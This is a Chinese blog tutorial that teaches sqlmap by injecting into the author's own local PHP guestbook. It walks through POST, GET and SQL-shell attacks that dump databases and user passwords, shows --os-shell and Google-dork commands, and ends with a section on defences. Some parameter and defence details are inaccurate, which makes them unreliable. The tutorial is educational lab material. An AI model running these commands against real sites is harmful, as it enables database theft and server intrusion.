[网络安全]以留言板项目渗透注入实例带你入门sqlmap

发布时间 2023-04-10 22:38:15作者: 秋说

[网络安全]以留言板项目渗透注入实例带你入门sqlmap

阅读本文前,请确保你已阅读[从0开始]PHP+phpstudy留言板项目搭建教程及报错详析》、熟悉本文数据库内容与结构并知悉信息安全sql注入相关知识。
免责声明:本文仅介绍sqlmap的使用方法,不承担任何法律责任。

渗透工具sqlmap

工具简介

sqlmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。sqlmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台。它还提供了交互式和命令行两种模式,可以根据用户需求选择不同的使用方式。

sqlmap下载官网
sqlmap官方文档
环境配置、下载安装等步骤本文不再赘述,请读者自行利用Google或百度探索。

主要功能

SQLmap具有以下主要功能:

  1. 自动化检测SQL注入漏洞。SQLmap可以自动探测Web应用程序中的SQL注入漏洞,包括常见的盲注、时间盲注、错误注入等注入类型,并提供了智能化的注入过程。

  2. 支持多种注入技术。SQLmap支持多种不同的注入技术,包括基于字符集的盲注、时间盲注、错误注入等技术,同时也支持手工注入和负载注入等方式。

  3. 支持多个数据库平台。SQLmap支持多种主流的数据库平台,包括MySQL、PostgreSQL、Oracle、Microsoft SQL Server、SQLite等。

  4. 支持多种操作系统和平台。SQLmap可以在多种操作系统和平台上运行,如Linux、Windows、Mac OS X等。

  5. 提供多种绕过技术。SQLmap提供了多种可用的绕过技术,如使用不同的HTTP头、cookie和User-Agent等来模拟客户端行为,绕过Web应用程序的安全机制,以便发现更多的漏洞。

  6. 支持报告输出。SQLmap可以生成详细的测试报告,包括所发现的漏洞、请求的数据包、测试结果、SQL查询语句等信息,方便用户进行分析和追溯。

危害

SQL注入是一种常见的网络攻击方式,黑客可以通过在应用程序中输入恶意的SQL语句来访问和操作数据库内容,这会破坏数据完整性、机密性和可用性,从而导致严重的安全风险。
SQLmap可以自动化执行各种SQL注入技术,如盲注、时间延迟盲注、错误注入等,并提供了强大的检测、利用和绕过技术来识别和验证Web应用程序中的SQL注入漏洞。

常用语句

SQLmap常用语句包括:

  1. 检测指定URL是否存在SQL注入漏洞:
python sqlmap.py -u 目标URL
  1. 设置Cookie参数,绕过Web应用程序的安全检查:
python sqlmap.py -u 目标URL --cookie="cookie参数"
  1. 指定数据库类型:
python sqlmap.py -u 目标URL -dbms 数据库类型
  1. 使用搜索功能来查找漏洞:
python sqlmap.py -u 目标URL --level=5 --risk=3 --google-dork "inurl:php?id="
  1. 列出所有数据库:
python sqlmap.py -u 目标URL --dbs
  1. 列出指定数据库的所有表:
python sqlmap.py -u 目标URL -D 数据库名称 --tables
  1. 以盲注方式获取web应用程序的管理员密码:
python sqlmap.py -u 目标URL --technique=T --time-sec 10 --level=3 --risk=3 --current-user --current-db --passwords
  1. 获取表中所有数据:
python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump

本文以MySQL数据库管理系统为例,通过留言板项目渗透实例带领读者了解sqlmap的强大功能及实现对sqlmap工具的运用。

留言板项目sqlmap渗透实例

BurpSuite+sqlmap

  1. 开启火狐代理及burp拦截
    在这里插入图片描述
  2. 输入随机的用户名及密码,点击登录后,burp成功拦截到数据包
    抓包
  3. 在sqlmap文件夹下新建1.txt,复制粘贴拦截包中的内容
    1.txt
    内容
  4. 在Python27\sqlmapproject-sqlmap-1f83076路径栏打开终端以本机环境为例
    终端
  5. 输入如下sql注入语句以查询数据库名称:
python sqlmap.py -r 1.txt (txt文件名,下同) -p username(用户名) --dbs

sql回显两个数据库名:
数据库

  1. 输入如下sql注入语句以查询qiushuo数据库中表名:
python sqlmap.py -r 1.txt -p username(用户名) -D 数据库名 --tables

sql回显一个表名:表

  1. 输入如下sql注入语句以查询content表中列名:
python sqlmap.py -r 1.txt -p username(用户名) -D 数据库名 -T 表名 --columns

sql回显四个列名:列名

  1. 输入如下sql注入语句以查询列中字段:
 python sqlmap.py -r 1.txt -p username(用户名) -D 数据库名 -T 表名 -C 列名,列名,列名 --dump

回显敏感信息:
sql信息在user表中注入语句及逻辑同上一致,不再赘述。

由于用户验证主要由账号密码验证实现,所以在渗透时多以储存用户信息的表为主要攻击目标,从而拿到用户权限。
user表中敏感数据如下:
sql
sql

基于POST请求的sqlmap注入

在 sqlmap 中,对于 POST 请求的注入测试,可以使用 -u 参数指定目标 URL,同时使用 --data 或 -d 参数来指定 POST 请求中提交的数据。例如:

python sqlmap.py -u "http://example.com/login.php" --data "username=1&password=1"(注入点)

使用 -u 参数指定了目标的 URL,并使用 --data 参数指定提交的数据。
需要注意的是,在使用 --data 参数时,我们需要正确地设置 POST 数据,确保与目标站点的请求格式完全一致。否则sqlmap可能无法正常进行注入测试。
例如:表单提交的是username参数,而注入语句post的是name。

实例如下:

  1. 查看是否存在注入点
    语句如下:
python sqlmap.py -u "http://127.0.0.1/loginend.php" --data "name=2&pass=111111(注入点)"

注入点由下图第一句可知,sqlmap从存储的会话中恢复了以下注入点:
注入点即注入点存在,选择0或1即可

  1. 查询数据库名
    语句如下:
python sqlmap.py -u "http://127.0.0.1/loginend.php" --data "name=2&pass=111111"(注入点) --dbs

sql回显两个数据库名:
数据表

  1. 查询qiushuo数据库中的表名
    语句如下:
python sqlmap.py -u "http://127.0.0.1/loginend.php" --data "name=2"(注入点) -D qiushuo --tables

sql回显一个表名:
表名既可用已知账户及密码进行sql注入获取所有用户信息,也可使用随机账户及密码进行sql注入。且注入点可以为一个(name或pass) 如下图

  • 已知账户密码查表名:

表名

  • 随机账户查表名:

表名

  1. 查询content表中的列名
    语句如下:
python sqlmap.py -u "http://127.0.0.1/loginend.php" --data "name=2"(注入点)-D qiushuo(数据库名) -T content(表名) --columns

列名回显四个列名:
列名

  1. 查询列中的字段
    语句如下:
python sqlmap.py -u "http://127.0.0.1/loginend.php" --data "name=2"(注入点) -D qiushuo(数据库名) -T content(表名) -C id,name,text(字段名) --dump

字段
回显字段:
字段

基于GET请求的sqlmap注入

基于 GET 请求的 SQL 注入攻击通常是在 URL 的参数中构造特殊的恶意代码,比如单引号、双引号、分隔符等。具体语句取决于数据库类型和应用程序的实现方式。

以 MySQL 为例,下面是一个基本的 SQL 注入语句:

假设有一个目标 URL:http://example.com?id=1

攻击者可以通过在 id 参数中插入恶意代码,来尝试进行 SQL 注入攻击,如下:

http://example.com?id=1'

这样会导致 SQL 查询语句变成类似于以下形式:

SELECT * FROM users WHERE id='1''

其中的额外的单引号将会导致 SQL 查询语句出现语法错误,从而使攻击者能够利用错误信息获得数据库的更多信息。

攻击者还可以通过其他方式进一步构造更复杂的注入语句,例如使用 UNION 语句来获取其他表中的数据,或者使用注释符绕过应用程序的输入过滤和检查机制。万变不离其宗的是,基于 GET 请求的 SQL 注入攻击都是采用在参数中插入恶意代码的方式进行的。

实例如下:
将已有留言板的前端、后端文件中POST请求更改为GET请求
具体代码参见[从0开始]PHP+phpstudy留言板项目搭建教程及报错详析》
GET

判断注入点
随机输入用户名及密码:
GET由上图可知,用户通过提交的表单数据均显示在URL上,说明该请求为GET请求。

构造注入语句
攻击者构造针对目标数据库的注入语句,一般会在 GET 请求的参数中插入恶意代码,例如单引号、分号、注释符等。

  • 查询数据库名
    注入语句如下:
 python sqlmap.py -u "http://127.0.0.1/loginend.php?id=1&pass=1(注入点)" --dbs

sql成功回显:
sql

  • 在qiushuo数据库中查询表名
    注入语句如下:
python sqlmap.py -u "http://127.0.0.1/loginend.php?id=1&pass=1"(注入点) -D qiushuo(数据库名) --tables

sql成功回显:
表名

  • 在content表中查询列名
    注入语句如下:
python sqlmap.py -u "http://127.0.0.1/loginend.php?id=1&pass=1"(注入点) -D qiushuo(数据库名) -T content(表名) --columns

sql成功回显:
sql

  • 在列中查字段
    注入语句如下:
python sqlmap.py -u "http://127.0.0.1/loginend.php?id=1&pass=1"(注入点) -D "qiushuo"(数据库名) -T "content"(表名) -C "name,text"(列名) --dump

sql成功回显:
字段

sqlmap结合SQL Shell注入

SQL Shell 是一个命令行工具,允许用户通过 SQL 语句来操作数据库。sqlmap支持将注入到目标网站的sql语句输出到sql shell中,方便进行进一步的数据库操作和渗透攻击。

以下是使用 SQLMap 将 SQL 语句输出到 SQL Shell 中的步骤

  1. 扫描目标网站的 SQL 注入漏洞

在命令行窗口中使用 SQLMap 对目标网站进行扫描,以发现其中的 SQL 注入漏洞。例如:

python sqlmap.py -u http://www.example.com/index.php?id=1 --dbs

其中,http://www.example.com/index.php?id=1表示目标网站的 URL, --dbs表示要对目标网站中的所有数据库进行扫描。

  1. 利用 SQL 注入漏洞

一旦发现了目标网站的 SQL 注入漏洞,可以使用 SQLMap 对目标网站进行渗透攻击。例如:

python sqlmap.py -u http://www.example.com/index.php?id=1 --os-shell

其中, --os-shell表示要获取目标网站的操作系统 shell。

  1. 输出 SQL 语句到 SQL Shell

当成功获取到目标网站的操作系统 shell 后,用以下命令将 SQL 语句输出到 SQL Shell 中:

python sqlmap.py -u http://www.example.com/index.php?id=1 --sql-shell

其中,--sql-shell表示要将注入到目标网站中的 SQL 语句输出到 SQL Shell 中。

成功执行该命令后,可以在 SQL Shell 中对目标网站的数据库进行各种操作,例如:

SELECT * FROM database_name;
SELECT * FROM table_name;

注意:不同的 SQL 数据库和操作系统可能有不同的命令和参数。一般来说,在使用 SQL Shell 前需要先学习相应的数据库管理和 SQL 语言知识,并阅读相关的文档和教程。

实例如下:此留言板提交表单方式基于POST,需添加注入点--data

  1. 将目标网站中的sql语句输出到sql shell:
python sqlmap.py -u http://127.0.0.1/loginend.php --data "name=1"(注入点) --sql-shell

sql成功回显:
sql

  1. 利用sql语句查询数据库名
    语句如下:
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

sql选择a(下同,不再赘述)
sql成功回显:
数据库名

  1. 利用sql语句查询qiushuo数据库中的表名
    语句如下:
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'qiushuo';(数据库名)

sql成功回显:
表名

  1. 利用sql语句查询content表中的列名
    语句如下:
SELECT column_name FROM information_schema.columns WHERE table_name = 'user';(表名)

sql成功回显:
列名

  1. 利用sql语句查询列中的字段
    语句如下:
SELECT column1, column2, ..., columnN(列名) FROM user;(表名)

sql

成功回显:
字段需要注意的是,SELECT column1, column2, ..., columnN FROM table_name;语句具有字段选择性,可回显指定的字段。

要想直接遍历某表的所有字段,可使用:SELECT * FROM table_name;
该语句的意思是从名为table_name的表中选择所有的列和行数据。具体来说,它将返回名为table_name的表中存储的所有用户数据。
如下图:
sql回显如下:
字段结合下图可知,SELECT * FROM table_name;语句渗透出数据库中所有的用户名、密码。
用户名、密码需要注意的是,在使用该SELECT 语句时需要保证所查询的表存在,并且具有足够的访问权限。
此外,如果数据表中包含大量的数据行,则查询所有的行可能会消耗大量的系统资源和时间,因此最好只查询需要的列和行,或者使用 LIMIT 子句指定返回数据的最大数量。
content表的列名、字段查询格式同上,不再赘述,希望读者躬身实践。

防御sqlmap攻击注入思路

防止sqlmap的攻击,可采取如下措施(以PHP为例)

  • 对输入数据进行过滤和验证
  1. 使用白名单过滤输入值:

在 PHP 中使用白名单过滤输入值可以通过数组的方式实现。以下是一个示例代码,用于验证一个 HTTP GET 请求中的 id 参数是否合法:

$id_whitelist = array("1", "2", "3");   
// 创建白名单数组,只允许 id 参数的值为 "1"、"2" 或 "3"

if (isset($_GET['id'])) {   
    $id = $_GET['id'];
    if (in_array($id, $id_whitelist)) {   
    // 若检查到id参数并且参数值存在白名单中,执行相应的操作
    // ...
    } else {
        // 若检查到id参数但参数不合法,执行相应操作,如记录日志或返回错误信息
        // ...
    }
} else {
    // 若参数不存在,执行相应操作,如记录日志或返回错误信息
    // ...
}

在上述代码中,使用 in_array() 函数判断 $id 是否在白名单数组中。
需要注意的是,要考虑对数组元素的格式化和类型转换等方面进行处理,以避免输入数据被恶意篡改。

除了数组,还可以使用 PHP 自带的过滤器函数来过滤和验证输入数据。PHP 提供了很多内置的过滤器函数,可以用于过滤并验证各种不同类型的数据,如整数、浮点数、字符串、电子邮件、URL 等。
以下代码演示了使用 filter_var() 函数验证一个邮件地址是否合法:

$email = "username@example.com";

if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
    // 邮件地址合法,执行相应的操作
    // ...
} else {
    // 邮件地址不合法,记录日志或返回错误信息
    // ...
}

在上述代码中,使用 filter_var() 函数对 $email 变量进行过滤,并指定过滤类型为 FILTER_VALIDATE_EMAIL,即验证是否为合法的邮件地址。

  1. 输入参数转义:

在 PHP 中,使用 addslashes() 函数可以对字符串中的特殊字符进行转义,从而避免 SQL 注入攻击。以下是一个示例代码,用于将字符串类型的变量 $str 进行转义:

$str = "I'm a string with 'special' characters";
$escaped_str = addslashes($str);
echo $escaped_str;
  1. 使用存储过程:

在 PHP 中,可以通过调用数据库存储过程的方式来实现防止 SQL 注入攻击。存储过程是一种存储在数据库中的可执行代码,它可以接受参数,并可以对数据库进行增删改查等操作。通过使用存储过程,可以将应用程序与数据库服务器端分离,从而有效地避免 SQL 注入攻击。

以下是一个示例代码,用于调用 MySQL 数据库中的一个存储过程来验证用户名和密码是否匹配:

// 创建 MySQL 连接
$conn = new mysqli($servername, $username, $password, $dbname);

// 调用存储过程
$stmt = $conn->prepare("CALL check_login(?, ?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

// 处理返回结果
if ($result->num_rows > 0) {
    // 用户名和密码匹配,执行相应的操作
    // ...
} else {
    // 用户名和密码不匹配,记录日志或返回错误信息
    // ...
}

// 关闭连接
$stmt->close();
$conn->close();

使用 prepare() 方法调用存储过程 check_login,该存储过程接受两个参数:用户名和密码。 bind_param() 方法将变量 $username 和 $password 绑定到存储过程的参数中,并使用 execute() 方法执行存储过程。 get_result() 方法获取存储过程的返回结果,并根据结果进行相应的操作。

  1. 使用WAF技术

WAF(Web应用程序防火墙)是一种Web安全技术,可以在Web应用程序和用户之间拦截和过滤网络流量,以保护Web应用程序免受各种网络攻击。常见的WAF操作包括应用程序层过滤、HTTP协议检查、参数验证、SQL注入和Cross Site Scripting(XSS)攻击防御等。

读者可自行使用Google或百度学习探索WAF技术相关知识。

sqlmap使用注意事项

  1. 进行sql注入时,数据库名、表名、列名不可加上单引号,否则会将单引号当做数据库名、表名、列名的一部分。例如-D 'qiushuo'
    sql回显Critical:该命令检测到了无效的结果
    sql

  2. 进行sql注入时,数据库名、表名、列名加上双引号与否,均能保证注入语句的正确性。例如-D "qiushuo"等价于-D qiushuo
    sql

  3. 进行基于POST或GET的sqlmap注入时,注意区分表单提交的方式。例如网站提交数据方式为POST,却在URL后输入?id=1等。
    sqlCRITICAL错误回显如下:
    所有测试的参数似乎都不是可注射的。如果希望执行更多测试,请尝试增加"--level"/"--risk"选项的值
    critical

sqlmap的level、risk值

在使用SQLMap时,常常需要设置levelrisk等参数以控制扫描的深度和风险。

level参数:指定扫描深度的级别,范围为1-5,级别越高,扫描的深度就越深。具体含义如下:

1级别:只做最基本的测试,速度最快。
2级别:会测试大部分的注入点,但不会尝试绕过WAF或IDS等安全设备。
3级别:会测试所有可疑的注入点,并尝试绕过WAF或IDS等安全设备。
4级别:比较耗时,会进行一些额外的测试和检测。
5级别:最深度的测试,将尽可能地测试所有的注入点和漏洞。

risk参数:指定扫描的风险级别,范围为0-3,级别越高,扫描的敏感性越高。具体含义如下:

0级别:只针对一些非常明显的、极易被发现的漏洞进行测试。
1级别:测试所有普通的注入点。
2级别:测试所有可疑的注入点,并使用一些高级的技术尝试绕过安全机制。
3级别:最高风险级别,尝试针对所有可能的注入点进行测试,并使用一切可用的技术和手段进行攻击。

需要注意的是,设置level和risk参数时,建议根据具体情况进行调整,以保证扫描的准确性和效率。
基于GET的sqlmap示例:python sqlmap.py -u "http://example.com/index.php?id=1"(GET) --level=5 --risk=3
基于POST的sqlmap实例:sqlmap -u "http://example.com/index.php" --data "name=1"(POST) --level=5 --risk=3

注意:当注入方式与表单提交方式不符时(POST/GET),即使增加了level/risk等级,仍会造成CRITICAL错误,即注入失败。

总结

以上为留言板项目sqlmap渗透注入实例,读者可以通过此留言板项目渗透教程充分了解并使用sqlmap。
在不熟悉sqlmap的前提下,不建议读者忽视实操及细节、对注入方法生搬硬套。

我是秋说,我们下次见。